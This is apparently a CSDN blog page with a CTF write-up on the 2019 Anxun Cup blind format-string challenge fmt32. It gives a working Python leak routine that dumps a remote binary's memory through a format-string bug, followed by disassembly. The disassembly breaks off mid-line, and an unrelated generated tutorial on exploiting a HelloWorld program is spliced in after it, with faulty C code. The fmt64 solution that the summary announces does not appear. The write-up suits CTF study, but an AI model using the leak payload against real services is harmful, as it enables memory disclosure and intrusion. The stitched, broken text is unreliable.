【Pwn】2019安洵杯线上赛 fmt32 && fmt64

本文详细介绍了2019年安洵杯线上赛中的两道Blind Pwn题目——fmt32和fmt64。作者通过格式化字符串漏洞分析程序逻辑, dump内存并反汇编,找寻关键函数地址。在fmt32中,通过32位程序的plt表和got表实现了 libc 的读取和函数劫持。而在fmt64中,面对64位程序,作者尝试dump bss段以获取got表信息,并成功利用格式化字符串漏洞获取libc基址和执行任意函数,实现getshell。文章最后,作者总结了blind pwn的要点和挑战,强调了信息泄露、代码段、plt和got表的重要性,同时感叹比赛中时间的紧迫性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

出题人好像比较喜欢blind pwn,5道pwn题里有3个,由于时间关系来不及看rop64了(我太菜)。

1.fmt32

只给了ip&port,没有附件猜测是blind pwn,根据题目名字,猜想有格式化字符串漏洞,试了一下发现是一个循环(毕竟是复读机),每次都可以利用格式化字符串漏洞,于是首先想法是先将内存dump下来再分析,如果32位程序没开pie保护,程序首地址为0x8048000。

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

start_addr = 0x8048000
#leak(0x8048000)
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as f:
    f.write(text_seg)

代码段差不多到0x8048b00就结束了,跑完之后放到ida中,找到代码段,下面应该是main函数,根据远程服务器的返回以及流程猜测对应函数吧。

seg000:08048605                 push    ebp
seg000:08048606                 mov     ebp, esp
seg000:08048608                 push    ecx
seg000:08048609                 sub     esp, 244h
seg000:0804860F                 mov     eax, large gs:14h
seg000:08048615                 mov     [ebp-0Ch], eax
seg000:08048618                 xor     eax, eax
seg000:0804861A                 mov     eax, ds:804A064h
seg000:0804861F                 sub     esp, 8
seg000:08048622                 push    0
seg000:08048624                 push    eax
seg000:08048625                 call    sub_8048450
seg000:0804862A                 add     esp, 10h
seg000:0804862D                 mov     eax, ds:804A060h
seg000:08048632                 sub     esp, 8
seg000:08048635                 push    0
seg000:08048637                 push    eax
seg000:08048638                 call    sub_8048450
seg000:0804863D                 add     esp, 10h
seg000:08048640                 mov     eax, ds:804A040h
seg000:08048645                 sub     esp, 8
seg000:08048648                 push    0
seg000:0804864A                 push    eax
seg000:0804864B                 call    sub_8048450
seg000:08048650                 add     esp, 10h
seg000:08048653                 sub     esp, 0Ch
seg000:08048656                 push    80487E0h
seg000:0804865B                 call    sub_8048490
seg000:08048660                 add     esp, 10h
seg000:08048663                 sub     esp, 0Ch
seg000:08048666                 push    804885Ch
seg000:0804866B                 call    sub_8048490
seg000:08048670                 add     esp, 10h
seg000:08048673                 mov     dword ptr [ebp-240h], 0
seg000:0804867D
seg000:0804867D loc_804867D: 							;循环
seg000:0804867D                 sub     esp, 0Ch
seg000:
### 编写与破解 HelloWorld 程序 #### 编写 HelloWorld C 程序 为了创建一个简单的 `HelloWorld` 应用程序,可以使用C语言来实现。下面是一个基本的例子: ```c #include <stdio.h> int main() { printf("Hello, world!\n"); return 0; } ``` 此代码定义了一个名为 `main` 的函数,在该函数内部调用了标准库中的 `printf` 函数用于打印消息 “Hello, world!” 到控制台[^1]。 #### 构建并运行 HelloWorld 程序 构建上述源码通常涉及编译过程。对于Linux环境下的GCC编译器而言,命令如下所示: ```bash gcc -o hello_world hello_world.c ./hello_world ``` 这将会生成可执行文件 `hello_world` 并立即执行它以显示问候信息。 #### Pwning HelloWorld 示例教程 当涉及到利用像格式化字符串这样的漏洞时,假设存在一个未修复的二进制版本的 `HelloWorld` 程序,其中含有潜在的全风险。这里展示一种可能的方法去攻击这样一个脆弱的应用程序——即通过修改其行为使原本应该输出固定文本的行为变为泄露内存数据或其他恶意操作。 考虑以下易受攻击的C代码片段作为目标应用的一部分: ```c void vulnerable_function(const char *fmt) { printf(fmt); /* 这里可能存在危险 */ } int main(int argc, char **argv){ if (argc > 1) vulnerable_function(argv[1]); else puts("Usage: %s format-string", argv[0]); return 0; } ``` 在这个场景下,如果输入特定形式的格式说明符(比如 `%x`, `%p` 或者更复杂的组合),就有可能触发格式化字符串漏洞从而绕过预期逻辑甚至获得更高权限访问系统资源[^3]。 针对此类情况的一种常见防御措施是在调用任何带有用户可控参数的I/O函数之前确保这些参数被正确转义或验证;另外也可以采用更为全的方式替代原始API,例如改用 `snprintf()` 而不是直接使用 `sprintf()` 来防止缓冲区溢出等问题的发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值